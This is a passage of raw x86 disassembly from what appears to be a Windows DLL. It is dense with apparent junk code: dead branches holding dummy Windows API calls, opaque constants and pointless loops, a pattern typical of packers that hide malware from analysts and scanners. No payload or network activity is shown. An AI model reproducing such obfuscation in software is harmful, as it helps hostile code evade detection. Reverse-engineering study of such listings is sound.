je 0x10035bd3
push eax
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
xor eax, eax
dec dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0xffffffe9
jle 0x10035bc0
mov dword [ebp - 0x44], 0xfffffff8
xor ebx, ebx
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x18]
cmp ecx, eax
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x24]
setge bl
xor edx, edx
cmp ecx, eax
setl dl
xor eax, eax
imul ebx, edx
cmp ebx, dword [ebp - 0x18]
jle 0x10035c13
cmp dword [ebp - 0x18], eax
je 0x10035c13
xor ebx, ebx
inc ebx
mov edx, ebx
jmp 0x10035c18
xor ebx, ebx
mov edx, eax
inc ebx
mov eax, dword [ebp - 0x18]
xor ecx, ecx
cmp eax, 0xfffffff8
setl cl
cmp ecx, edx
jl 0x10035c2e
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x10035c30
mov eax, ebx
mov dword [ebp - 0x1c], eax
xor eax, eax
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x10035c4e
push 0x132
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
xor eax, eax
mov dword [ebp - 0x94], 0xfffffff8
cmp dword [ebp - 0x94], 0xfffffff9
push 2
pop esi
jle 0x100360a9
jmp 0x10035c6c
xor eax, eax
or ecx, 0xffffffff
mov dword [ebp - 0x44], ecx
cmp dword [ebp - 0x44], eax
je 0x10035c87
mov dword [ebp - 0x44], 0x7161ab6e
mov dword [ebp - 0x44], 0xe39bc035
jmp 0x10035c97
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x10035c97
push eax
call dword [sym.imp.GDI32.dll_CreatePalette]
push 3
lea ecx, [ebp - 0xbc]
call fcn.1001855e
mov dword [ebp - 4], 0x11
xor eax, eax
mov dword [ebp - 0x38], 0x57ad95e1
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x10035cdc
push dword [ebp - 0x14]
lea ecx, [ebp - 0xbc]
call fcn.100185ee
mov dword [eax], 0x4e2db58e
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x10035cbd
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x10035cfc
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x90c], 0xfffffffa
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10035ce4
xor eax, eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], esi
jg 0x10035e08
or edi, 0xffffffff
mov dword [ebp - 0x24], edi
lea ecx, [ebp - 0xbc]
push dword [ebp - 0x38]
call fcn.100185ee
cmp dword [eax], 0
je 0x10035d8f
mov dword [ebp - 0x1c], 0xfffffffd
lea ecx, [ebp - 0xbc]
push dword [ebp - 0x38]
call fcn.100185ee
mov edx, dword [ebp - 0x1c]
xor ebx, ebx
mov ecx, dword [ebp - 0x1c]
cmp edx, ecx
mov eax, dword [eax]
setl bl
sub ebx, 0xd8530de9
neg ebx
sbb ebx, ebx
inc ebx
sub eax, ebx
mov dword [ebp - 0x1c], eax
xor eax, eax
mov dword [ebp - 0x1c], esi
cmp dword [ebp - 0x1c], eax
jl 0x10035df3
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xbc]
call fcn.100185ee
push dword [ebp - 0x38]
xor ebx, ebx
lea ecx, [ebp - 0xbc]
cmp dword [eax], ebx
sete bl
call fcn.100185ee
mov dword [eax], ebx
dec dword [ebp - 0x1c]
jns 0x10035d63
jmp 0x10035df3
mov dword [ebp - 0x30], 0xdfba22e9
xor eax, eax
mov dword [ebp - 0x44], 0xfffffffb
mov dword [ebp - 0x30], esi
cmp dword [ebp - 0x30], eax
jl 0x10035df3
push dword [ebp - 0x38]
lea ecx, [ebp - 0xbc]
call fcn.100185ee
push dword [ebp - 0x30]
lea ecx, [ebp - 0xbc]
mov esi, eax
call fcn.100185ee
mov ecx, dword [esi]
mov esi, dword [ebp - 0x38]
push dword [ebp - 0x30]
mov dword [eax], ecx
lea ecx, [ebp - 0xbc]
call fcn.100185ee
mov dword [eax], esi
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x24], ebx
dec dword [ebp - 0x30]
jns 0x10035da7
push 2
pop esi
inc dword [ebp - 0x38]
push 1
pop ebx
cmp dword [ebp - 0x38], esi
jle 0x10035d0b
mov edi, dword [sym.imp.GDI32.dll_SelectClipRgn]
push esi
lea ecx, [ebp - 0xbc]
call fcn.100185ee
mov eax, dword [ebp - 0x38]
lea ecx, [ebp - 0xbc]
mov eax, dword [ebp - 0x38]
push esi
call fcn.100185ee
mov ecx, dword [ebp - 0x38]
neg ecx
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, dword [eax]
mov eax, dword [ebp - 0x90c]
setg dl
sub edx, eax
jne 0x10035e64
xor eax, eax
lea ecx, [ebp - 0xbc]
push eax
call fcn.100185ee
xor ebx, ebx
inc ebx
cmp dword [eax], 0
jne 0x10035e67
push ebx
lea ecx, [ebp - 0xbc]
call fcn.100185ee
jmp 0x10035e67
xor ebx, ebx
inc ebx
push esi
lea ecx, [ebp - 0xbc]
call fcn.100185ee
mov ecx, dword [ebp - 0x38]
xor edx, edx
imul ecx, dword [ebp - 0x908]
cmp ecx, 0xe83
setne dl
cmp dword [eax], edx
jne 0x10035ed1
xor eax, eax
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], al
je 0x10035ea9
push ebx
push 0x1191
push 0x1558
call dword [sym.imp.USER32.dll_AttachThreadInput]
xor eax, eax
mov dword [ebp - 0x38], ebx
jmp 0x10035ec9
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x10035ec6
push 0x1a35
push eax
push eax
call dword [sym.imp.GDI32.dll_TranslateCharsetInfo]
xor eax, eax
dec dword [ebp - 0x38]
cmp dword [ebp - 0x38], 0xffffffed
je 0x10035eae
jmp 0x10035ed7
mov dword [ebp - 0x44], ebx
inc dword [ebp - 0x44]
or eax, 0xffffffff
lea ecx, [ebp - 0xbc]
mov dword [ebp - 4], eax
call fcn.100185e9
xor eax, eax
lea ecx, [ebp - 0x518]
mov byte [ebp - 0x25], al
push ebx
call fcn.1001855e
mov dword [ebp - 4], 0x12
push 5
mov dword [ebp - 0x44], 0xfffb
pop eax
mov dword [ebp - 0x2c], eax
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jge 0x10035f35
push dword [ebp - 0x20]
lea ecx, [ebp - 0x518]
call fcn.100185ee
mov dword [eax], 8
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x10035f17
xor eax, eax
push eax
lea ecx, [ebp - 0x518]
call fcn.100185ee
lea ecx, [ebp - 0x518]
mov dword [eax], 0x11
xor eax, eax
push eax
call fcn.100185ee
cmp dword [eax], 0xe
je 0x10035fa9
or edi, 0xffffffff
mov dword [ebp - 0x2c], ebx
xor eax, eax
mov dword [ebp - 0x4c], edi
cmp dword [ebp - 0x44], eax
jne 0x10035f6d
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x4c]
xor edx, edx
mov eax, dword [ebp - 0x44]
cmp eax, ecx
lea ecx, [ebp - 0x518]
setge dl
xor eax, eax
add edx, dword [ebp - 0x2c]
push eax
mov dword [ebp - 0x2c], edx
call fcn.100185ee
lea ecx, [ebp - 0x518]
dec dword [eax]
xor eax, eax
push eax
call fcn.100185ee
cmp dword [eax], 0xe
jne 0x10035f5d
mov edi, dword [sym.imp.GDI32.dll_SelectClipRgn]
or eax, 0xffffffff
lea ecx, [ebp - 0x518]
mov dword [ebp - 4], eax
call fcn.100185e9
cmp byte [ebp - 0x25], 0
je 0x10036096
or eax, 0xffffffff
lea ecx, [ebp - 0xc9c]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x40], 0x56915a13
mov dword [ebp - 0x40], 6
push esi
call fcn.1001855e
mov dword [ebp - 4], 0x13
xor eax, eax
mov dword [ebp - 0x1c], 0xfffffffa
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], esi
jge 0x1003601a
push dword [ebp - 0x20]
lea ecx, [ebp - 0xc9c]
call fcn.100185ee
mov dword [eax], 6
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x10035ffc
xor eax, eax
inc dword [ebp - 0x1c]
mov dword [ebp - 0x1c], eax
jmp 0x1003606d
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x10036046
push 0xcf5
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextAlign]
xor eax, eax
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x1003606a
push eax
push eax
push 0x531
push 0x83f
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SendDlgItemMessageW]
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jle 0x10036022
or eax, 0xffffffff
lea ecx, [ebp - 0xc9c]
mov dword [ebp - 4], eax
call fcn.100185e9
xor eax, eax
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call edi
inc dword [ebp - 0x94]
cmp dword [ebp - 0x94], 0xfffffff9
jg 0x10035c6a
push 3
lea ecx, [ebp - 0x560]
call fcn.1001855e
mov dword [ebp - 4], 0x14
lea ecx, [ebp - 0x404]
or edi, 0xffffffff
mov dword [ebp - 0x3c], 0xfffffff9
mov dword [ebp - 0x24], edi
push esi
call fcn.1001855e
mov byte [ebp - 4], 0x15
mov dword [ebp - 0x44], edi
push 5
pop eax
mov dword [ebp - 0x30], eax
xor eax, eax
mov dword [ebp - 0x40], 0xfffffffc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x10036114
push dword [ebp - 0x14]
lea ecx, [ebp - 0x560]
call fcn.100185ee
mov dword [eax], 0xea53061e
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x100360f5
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x10036130
push dword [ebp - 0x14]
lea ecx, [ebp - 0x404]
call fcn.100185ee
mov dword [eax], 0xb6eab3cf
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10036119
push ebx
lea ecx, [ebp - 0x560]
call fcn.100185ee
xor eax, eax
mov esi, ebx
cmp dword [ebp - 0x3c], eax
jne 0x1003614c
mov esi, eax
push ebx
lea ecx, [ebp - 0x560]
call fcn.100185ee
mov edi, 0x780eec29
mov eax, dword [eax]
add eax, esi
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
sub eax, edi
je 0x10036182
xor eax, eax
lea ecx, [ebp - 0x404]
push eax
call fcn.100185ee
cmp dword [eax], 0
je 0x10036182
mov eax, ebx
jmp 0x10036184
xor eax, eax
mov dword [ebp - 0x44], eax
lea ecx, [ebp - 0x404]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x3c]
push ebx
call fcn.100185ee
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x100361ae
push ebx
lea ecx, [ebp - 0x560]
call fcn.100185ee
xor eax, eax
cmp dword [ebp - 0x24], eax
jne 0x100361b6
mov eax, dword [ebp - 0x3c]
push 2
pop eax
push eax
lea ecx, [ebp - 0x560]
call fcn.100185ee
mov eax, dword [ebp - 0x3c]
lea ecx, [ebp - 0x404]
xor eax, eax
push eax
call fcn.100185ee
mov esi, eax
lea ecx, [ebp - 0x404]
xor eax, eax
push eax
call fcn.100185ee
mov ecx, dword [esi]
imul ecx, dword [eax]
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x30], 0x1a
cmp dword [ebp - 0x30], 0xfffffff2
jg 0x10036247
xor eax, eax
mov dword [ebp - 0x3c], ebx
cmp dword [ebp - 0x3c], eax
jl 0x1003621f
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x404]
call fcn.100185ee
cmp dword [eax], 0
jne 0x1003621d
dec dword [ebp - 0x3c]
jns 0x10036205
xor eax, eax
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x1003623e
push eax
push eax
push 0x373
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_PostMessageA]
xor eax, eax
dec dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0xfffffff2
jle 0x100361fd
lea ecx, [ebp - 0x404]
call fcn.100185e9
or eax, 0xffffffff
lea ecx, [ebp - 0x560]
mov dword [ebp - 4], eax
call fcn.100185e9
push 3
pop esi
push esi
lea ecx, [ebp - 0x864]
call fcn.1001855e
mov dword [ebp - 4], 0x16
xor eax, eax
mov dword [ebp - 0x1c], 0xfffffffc
mov dword [ebp - 0x44], 0x51d77f17
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], esi
jge 0x100362af
push dword [ebp - 0x20]
lea ecx, [ebp - 0x864]
call fcn.100185ee
mov dword [eax], 0x313dd33a
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x10036291
xor eax, eax
push 2
mov dword [ebp - 0x1c], eax
pop ecx
cmp dword [ebp - 0x1c], ecx
jg 0x1003638b
or edx, 0xffffffff
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x30], ecx
cmp dword [ebp - 0x30], eax
jl 0x1003637f
mov dword [ebp - 0x34], 0xfb5a5efa
mov dword [ebp - 0x34], eax
jmp 0x100362fa
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x100362f7
push eax
call dword [sym.imp.GDI32.dll_CreateFontIndirectW]
push 2
xor eax, eax
pop ecx
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], ecx
jle 0x100362e2
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x864]
call fcn.100185ee
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x30]
xor eax, eax
add ecx, 0x4c9a615c
imul ecx, dword [ebp - 0x34]
cmp ecx, 0x7363
lea ecx, [ebp - 0x864]
setg al
mov dword [ebp - 0x44], eax
push dword [ebp - 0x1c]
call fcn.100185ee
mov ecx, dword [ebp - 0x44]
xor edx, edx
push 0
cmp ecx, dword [eax]
setne dl
mov dword [ebp - 0x44], edx
xor edx, edx
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
mov eax, dword [ebp - 0x34]
setne dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x1c]
setle bl
xor ecx, ecx
cmp ebx, eax
pop eax
setle cl
mov dword [ebp - 0x44], ecx
dec dword [ebp - 0x30]
push 2
pop ecx
jns 0x100362d6
xor ebx, ebx
inc ebx
or edx, 0xffffffff
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jle 0x100362c1
or eax, 0xffffffff
lea ecx, [ebp - 0x864]
mov dword [ebp - 4], eax
call fcn.100185e9
mov dword [ebp - 0x38], 0x8a062b00
mov dword [ebp - 0x24], 0xfdb69689
mov dword [ebp - 0x30], 0xee56e31b
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
neg eax
jne 0x100363dc
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x24], eax
je 0x100363de
mov ecx, ebx
mov eax, dword [ebp - 0x38]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x38]
setg dl
xor ecx, ecx
cmp edx, eax
setle cl
xor eax, eax
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0xffffffe2
jle 0x100364ad
jmp 0x10036408
xor eax, eax
or ecx, 0xffffffff
mov dword [ebp - 0x44], ecx
push 2
mov dword [ebp - 0x20], eax
pop ecx
cmp dword [ebp - 0x20], ecx
jge 0x10036431
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xdec], 0x2549
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jl 0x10036419
xor eax, eax
mov dword [ebp - 0x38], 0xffffffe4
jmp 0x10036474
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x10036465
push eax
push eax
push eax
push 0x1ab
push 0x14b7
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentExPointA]
mov eax, dword [ebp - 0xdec]
mov dword [ebp - 0x44], eax
inc dword [ebp - 0x38]
push 0
pop eax
cmp dword [ebp - 0x38], ebx
jle 0x1003643a
xor eax, eax
mov dword [ebp - 0x38], eax
jmp 0x1003649b
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x10036498
push eax
push 0x5e2
push eax
call dword [sym.imp.GDI32.dll_GetBitmapBits]
xor eax, eax
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], ebx
jle 0x10036480
dec dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0xffffffe2
jg 0x10036406
push 2
pop eax
mov dword [ebp - 0x38], ebx
lea ecx, [ebp - 0x47c]
mov dword [ebp - 0x3c], 0x9e71b35d
push eax
call fcn.1001855e
xor eax, eax
mov dword [ebp - 4], 0x17
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 2
jge 0x100364fc
push 2
pop ebx
push dword [ebp - 0x20]
lea ecx, [ebp - 0x47c]
call fcn.100185ee
mov dword [eax], 0x8d81
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x100364db
xor ebx, ebx
xor eax, eax
inc ebx
cmp dword [ebp - 0x38], eax
je 0x1003653e
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x3c]
xor eax, eax
cmp dword [ebp - 0x38], eax
jne 0x10036527
mov edx, eax
cmp dword [ebp - 0x3c], eax
je 0x10036529
mov edx, ebx
mov eax, dword [ebp - 0x38]
xor ecx, ecx
cmp edx, eax
setl cl
cmp ecx, dword [ebp - 0x38]
je 0x1003653c
mov ecx, ebx
jmp 0x10036540
xor eax, eax
mov ecx, eax
xor eax, eax
cmp ecx, 0x1ef9
setge al
mov dword [ebp - 0x3c], eax
xor eax, eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 2
jle 0x10036718
jmp 0x10036561
xor eax, eax
push 4
mov dword [ebp - 0x14], 0xaa5d732a
lea ecx, [ebp - 0xa74]
mov dword [ebp - 0x48], eax
pop eax
push eax
call fcn.1001855e
xor eax, eax
mov byte [ebp - 4], 0x18
mov dword [ebp - 0x20], eax
push 4
pop eax
cmp dword [ebp - 0x20], eax
jge 0x100365ac
push eax
pop ebx
push dword [ebp - 0x20]
lea ecx, [ebp - 0xa74]
call fcn.100185ee
mov dword [eax], 0x93c5815d
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x1003658d
xor ebx, ebx
inc ebx
dec dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0x3c]
je 0x100365d1
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x3c], eax
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x100365d3
mov eax, dword [ebp - 0x14]
neg eax
mov dword [ebp - 0x48], eax
jmp 0x100366fa
xor eax, eax
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x44], 0xfffffff8
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x10036600
push 0x1fc2
push 0x135f
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_CreateCaret]
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x100366f1
mov dword [ebp - 0x44], 0xa323
lea ecx, [ebp - 0x47c]
push dword [ebp - 0x14]
call fcn.100185ee
mov eax, dword [ebp - 0x48]
lea ecx, [ebp - 0x47c]
mov eax, dword [ebp - 0x48]
push dword [ebp - 0x14]
call fcn.100185ee
mov edx, dword [ebp - 0x30]
xor ebx, ebx
mov ecx, dword [ebp - 0x3c]
cmp ecx, edx
push dword [ebp - 0x14]
setne bl
lea ecx, [ebp - 0x47c]
imul ebx, dword [eax]
neg ebx
call fcn.100185ee
xor ecx, ecx
cmp ebx, dword [eax]
setl cl
imul eax, ecx, 0xbdb8
test eax, eax
jne 0x1003666c
cmp dword [ebp - 0x30], eax
jne 0x1003666c
xor ebx, ebx
inc ebx
jmp 0x10036671
xor ebx, ebx
inc ebx
mov eax, ebx
mov dword [ebp - 0x48], eax
lea ecx, [ebp - 0x47c]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x48]
push dword [ebp - 0x14]
call fcn.100185ee
mov eax, dword [ebp - 0x14]
mov ecx, ebx
sub ecx, eax
xor edx, edx
sub ecx, dword [ebp - 0x14]
mov dword [ebp - 0x44], ecx
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x38]
cmp ecx, eax
lea ecx, [ebp - 0x47c]
setl dl
sub edx, dword [ebp - 0x30]
neg edx
sbb edx, edx
inc edx
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x14]
push dword [ebp - 0x14]
call fcn.100185ee
push esi
lea ecx, [ebp - 0xa74]
call fcn.100185ee
mov ecx, dword [ebp - 0x38]
mov dword [eax], ecx
xor eax, eax
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], al
je 0x100366ee
push eax
push eax
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringByteLen]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jle 0x10036608
lea ecx, [ebp - 0xa74]
mov byte [ebp - 4], 0x17
call fcn.100185e9
inc dword [ebp - 0x38]
push 2
pop eax
cmp dword [ebp - 0x38], eax
jg 0x1003655f
or eax, 0xffffffff
lea ecx, [ebp - 0x47c]
mov dword [ebp - 4], eax
call fcn.100185e9
push esi
lea ecx, [ebp - 0x530]
call fcn.1001855e
mov dword [ebp - 4], 0x19
lea ecx, [ebp - 0x41c]
or eax, 0xffffffff
mov dword [ebp - 0x3c], 0xfffffff9
push 2
mov dword [ebp - 0x24], eax
pop eax
push eax
call fcn.1001855e
mov byte [ebp - 4], 0x1a
or eax, 0xffffffff
mov dword [ebp - 0x44], eax
push 5
pop eax
mov dword [ebp - 0x30], eax
xor eax, eax
mov dword [ebp - 0x40], 0xfffffffc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x10036797
push dword [ebp - 0x14]
lea ecx, [ebp - 0x530]
call fcn.100185ee
mov dword [eax], 0xea53061e
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10036779
xor eax, eax
push 2
mov dword [ebp - 0x14], eax
pop esi
jmp 0x100367b6
push dword [ebp - 0x14]
lea ecx, [ebp - 0x41c]
call fcn.100185ee
mov dword [eax], 0xb6eab3cf
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1003679f
push ebx
lea ecx, [ebp - 0x530]
call fcn.100185ee
xor eax, eax
mov esi, ebx
cmp dword [ebp - 0x3c], eax
jne 0x100367d2
mov esi, eax
push ebx
lea ecx, [ebp - 0x530]
call fcn.100185ee
mov eax, dword [eax]
add eax, esi
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
sub eax, edi
je 0x10036803
xor eax, eax
lea ecx, [ebp - 0x41c]
push eax
call fcn.100185ee
cmp dword [eax], 0
je 0x10036803
mov eax, ebx
jmp 0x10036805
xor eax, eax
mov dword [ebp - 0x44], eax
lea ecx, [ebp - 0x41c]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x3c]
push ebx
call fcn.100185ee
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x1003682f
push ebx
lea ecx, [ebp - 0x530]
call fcn.100185ee
xor eax, eax
cmp dword [ebp - 0x24], eax
jne 0x10036837
mov eax, dword [ebp - 0x3c]
push 2
pop edi
push edi
lea ecx, [ebp - 0x530]
call fcn.100185ee
mov eax, dword [ebp - 0x3c]
lea ecx, [ebp - 0x41c]
xor eax, eax
push eax
call fcn.100185ee
mov esi, eax
lea ecx, [ebp - 0x41c]
xor eax, eax
push eax
call fcn.100185ee
mov ecx, dword [esi]
imul ecx, dword [eax]
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x30], 0x1a
cmp dword [ebp - 0x30], 0xfffffff2
jg 0x100368c8
xor eax, eax
mov dword [ebp - 0x3c], ebx
cmp dword [ebp - 0x3c], eax
jl 0x100368a0
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x41c]
call fcn.100185ee
cmp dword [eax], 0
jne 0x1003689e
dec dword [ebp - 0x3c]
jns 0x10036886
xor eax, eax
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x100368bf
push eax
push eax
push 0x373
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_PostMessageA]
xor eax, eax
dec dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0xfffffff2
jle 0x1003687e
lea ecx, [ebp - 0x41c]
call fcn.100185e9
or eax, 0xffffffff
lea ecx, [ebp - 0x530]
mov dword [ebp - 4], eax
call fcn.100185e9
push 3
pop esi
mov dword [ebp - 0x40], 0x1ece
lea ecx, [ebp - 0x954]
mov dword [ebp - 0x24], 0xfffc
push esi
call fcn.1001855e
mov dword [ebp - 4], 0x1b
or eax, 0xffffffff
mov dword [ebp - 0x40], eax
push 7
pop eax
mov dword [ebp - 0x18], eax
xor eax, eax
mov dword [ebp - 0x44], 0xfffffffa
mov dword [ebp - 0x44], 0xaa50887c
mov dword [ebp - 0x44], 0xd68c2afe
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], esi
jge 0x1003694b
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x608], 0xec0ae971
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], esi
jl 0x10036933
xor eax, eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], ebx
jge 0x10036968
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x7c], 0x136951ad
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], ebx
jl 0x10036953
xor eax, eax
push 4
mov dword [ebp - 0x38], eax
pop ecx
cmp dword [ebp - 0x38], ecx
jge 0x1003698b
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x1230], 0xd6273d59
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], ecx
jl 0x10036973
xor eax, eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], esi
jge 0x100369b4
push dword [ebp - 0x38]
lea ecx, [ebp - 0x954]
call fcn.100185ee
mov dword [eax], 0xfffffff6
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], esi
jl 0x10036993
push 4
xor eax, eax
pop ecx
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], esi
jge 0x100369d0
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x10b4], ecx
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], esi
jl 0x100369bc
xor eax, eax
mov dword [ebp - 0x7c], edi
cmp dword [ebp - 0x7c], eax
jl 0x100369ec
mov eax, dword [ebp - 0x7c]
cmp dword [ebp + eax*4 - 0x608], 0
jne 0x100369ea
dec dword [ebp - 0x7c]
jns 0x100369d8
xor eax, eax
mov dword [ebp - 0x7c], 0x328f
cmp dword [ebp - 0x604], eax
jne 0x10036a0f
mov eax, dword [ebp - 0x600]
mov dword [ebp - 0x1224], eax
test eax, eax
jne 0x10036a0f
mov edi, eax
jmp 0x10036a11
mov edi, ebx
inc dword [ebp - 0x24]
lea ecx, [ebp - 0x954]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x7c], eax
xor eax, eax
dec dword [ebp - 0x18]
mov esi, dword [ebp - 0x18]
push eax
call fcn.100185ee
xor ecx, ecx
mov dword [eax], esi
mov eax, dword [ebp - 0x604]
cmp esi, eax
setg cl
imul ecx, edi
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0x954]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x10b4]
mov eax, dword [ebp - 0x608]
sub eax, 5
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
neg eax
sbb eax, eax
or esi, 0xffffffff
neg eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 4], esi
call fcn.100185e9
xor eax, eax
mov dword [ebp - 0x1c], 0x313dd33a
xor edi, edi
mov dword [ebp - 0x20], eax
inc edi
cmp dword [ebp - 0x20], edi
jge 0x10036aa6
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xc6c], 0x1bd97a8
